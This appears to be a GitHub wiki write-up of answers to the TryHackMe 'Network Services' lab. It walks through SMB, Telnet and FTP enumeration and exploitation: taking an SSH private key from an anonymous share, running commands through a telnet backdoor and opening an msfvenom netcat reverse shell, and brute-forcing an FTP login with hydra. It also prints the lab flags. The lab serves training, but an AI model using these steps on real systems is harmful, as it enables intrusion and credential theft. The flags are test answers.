THM Network Services - grunt92/IT-Sec-WriteUps GitHub Wiki
No answer needed
Server Message Block
response-request
TCP/IP
Unix
Run sudo nmap -sS -Pn -p- IPon the terminal.
3
139/445
Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?
Run enum4linux IP on your terminal.
WORKGROUP
POLOSMB
6.1
profiles
What would be the correct syntax to access an SMB share called "secret" as user "suit" on a machine with the IP 10.10.10.2 on the default port?
smbclient //10.10.10.2/secret -U suit -p 445
Great! Now you've got a hang of the syntax, let's have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.
No answer needed
Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn't require authentication to view the files. We can do this easily by:
- using the username "Anonymous"
- connecting to the share we found during the enumeration stage
- and not supplying a password.
Does the share allow anonymous access? Y/N?
Run smbclient //IP/profiles -U Anonymous -p 445 on your terminal.
Y
Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?
Use more ""Working From Home Information.txt" to get the content of the file.
John Cactus
ssh
.ssh
This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?
id_rsa
Download this file to your local machine, and change the permissions to "600" using "chmod 600 [file]".
Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.
What is the smb.txt flag?
Change the directory using cd .ssh. Download the "id_rsa"-file using get. Exit smb-client or open a second terminal and navigate to the directory to which you downloaded the file. Run chmod 600 id_rsa and ssh -i id_rsa cactus@IP. Open "smb.txt" using cat smb.txt.
**THM{smb_is_fun_eh?}
application protocol
ssh
telnet 10.10.10.3 23
encryption
Run sudo nmap -sS -Pn -p- IP.
1
8012
tcp
Run sudo nmap -sS -Pn IP.
0
Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It's important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.
No answer needed
Run telnet IP 8012on your telnet.
a backdoor
Run sudo nmap -A -p 8012 IP on the terminal.
Skidy
Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.
No answer needed
Okay, let's try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.
No answer needed
Run telnet IP 8012 to get access to the backdoor.
SKIDY'S BACKDOOR
Let's try executing some commands, do we get return on any input we enter into the telnet session? (Y/N)
N
Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.
No answer needed
Start a tcpdump listener on your local machine. This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.
No answer needed
Now, use the command "ping [local THM ip] -c 1" through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)
Y
Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let's have some fun!
No answer needed
We're going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here's our syntax:
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = payload
lhost = our local host IP address (this is your machine's IP address)
lport = the port to listen on (this is the port on your machine)
R = export the payload in raw format
What word does the generated payload start with?
mkfifo
Perfect. We're nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using:
"nc -lvp [listening port]"
What would the command look like for the listening port we selected in our payload?
No answer needed
Run the commands given in the prior instructions. After the shell is established run cat flag.txt to get the flag:
THM{y0u_g0t_th3_t3ln3t_fl4g}
client-server
21
2
Run nmap -A -p- IP.
2
21
vsftpd
Great, now we know what type of FTP server we're dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing "ftp [IP]" into the console, and entering "anonymous", and no password when prompted.What is the name of the file in the anonymous FTP directory?
PUBLIC_NOTICE.txt
Run ftp IP, enter "Anonymous" as username and no password. Use more PUBLIC_NOTICE.txt to read the file.
mike
Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...
No answer needed
Run hydra -l mike -P /PATH/TO/WORDLIST IP ftp. After a brief moment hydra should provide you with the password for mikes account.
password
Bingo! Now, let's connect to the FTP server as this user using "ftp [IP]" and entering the credentials when prompted
No answer needed
Run ftp IP enter "mike" as username and "password" as password. After you logged in use more ftp.txt to read the file.
THM{y0u_g0t_th3_ftp_fl4g}
No answer needed